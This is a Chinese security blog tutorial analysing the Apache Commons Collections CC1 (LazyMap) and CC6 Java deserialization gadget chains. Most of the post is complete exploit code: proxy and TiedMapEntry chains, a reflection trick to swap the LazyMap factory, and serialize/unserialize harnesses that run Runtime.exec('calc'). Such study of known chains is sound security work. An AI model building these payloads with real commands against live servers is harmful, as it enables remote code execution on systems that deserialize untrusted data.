Java反序列化-(LazyMap)CC1链与CC6链

(LazyMap)CC1链

原版的CC1链:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

可以发现对比之前的 TransformMap版本的CC1链,从这里开始就不一样了
image.png

分析LazyMap.get()

直接进入到LazyMap类去分析get方法
image.png
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
image.png
java中父类可以调用子类的方法
image.png
这个时候追踪这个 factory 方法的来源
image.png
这里是可控的,就不细说了,类似TransformedMapCC1链的方法
image.png
编写Exp代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,r);


    }
}

运行之后可以看见命令执行成功,说明了这条链是可行的
image.png
利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
image.png

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,chainedTransformer);
    }
}

image.png

向上寻找readObject入口类

我们知道LazyMap使用的是get方法,然后我们在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里
image.png
构造exp代码,我们可以控制 memberValues.get(member) 中的memberValues变量
image.png

这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口
image.png
这意味着我们可以通过动态代理调用invoke方法
image.png

  • ClassLoader loader 类的加载器
  • Class<?>[] interfaces 是一个数组,用于指定动态代理对象要实现的接口
  • InvocationHandler h 处理动态代理对象方法调用的处理器

代理的对象且实例化代码

InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);


        Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        //转InvocationHandler类型是为了能够调用处理程序实现的接口
        InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);


        Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
        InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void  serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

成功命令执行
image.png

总结

低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
image.png

CC6链分析

官方的CC6链Payload:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

对比CC1链就是这里不同
image.png\

xxx.readObject()
	HashMap.put()
	HashMap.hash()
		TiedMapEntry.hashCode()
		TiedMapEntry.getValue()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Runtime.exec()

TiedMapEntry

我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
image.png

getValue

可以发现TiedMapEntry的构造方法
image.png
再找到这个类的getValue方法,这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.getValue();

    }
}

可以看见命令执行成功
image.png
代码理解,看图
image.png
这里需要应该key,那么随便给一个,这里给了一个null空值。

hashCode

在这里可以发现,hashcode()方法调用了getValue()的方法
image.png
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:

hashMap.put(Object key,Object value);

我们将 tiedMapEntry变量带入到 key中,然后value随便给
image.png

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
    }
}

运行代码之后可以看见命令执行
image.png
put自动执行了hashCode,相当于调用了getValue方法

反序列化构造payload

序列化与反序列化代码:

  public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

我们知道在序列化执行命令执行是错误的,目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令,再反序列化的时候能够命令执行。

利用反射修改LazyMap类中的factory字段

protected final Transformer factory;
  • Transformer 是一个接口或类的类型,表示这个字段的类型是 Transformer。
  • factory 字段名

在执行命令之前,修改这行代码,让它不能命令执行

Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

后面操作LazayMap的class,进行反射操作factory字段名

 Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

类的类型为lazymap,字段名为chainedTransformer
image.png
从而构造exp为以下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

但是还不能执行命令

让map类型中的key为false

来到LazyMap 的 get 方法中,可以看见如果key为false,就会调用这个 factory.transform()方法
image.png
所以我们要删除map类型里面的key值内容,让它为false。
在xx.put()下添加这行代码:

hashMap.remove(null);

最终exp

从而构造最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        //serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

序列化代码后,只进行反序列化ser.bin文件,可以看见命令执行成功
image.png

总结

总的流程应该是:CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制,但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。

  • 21
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值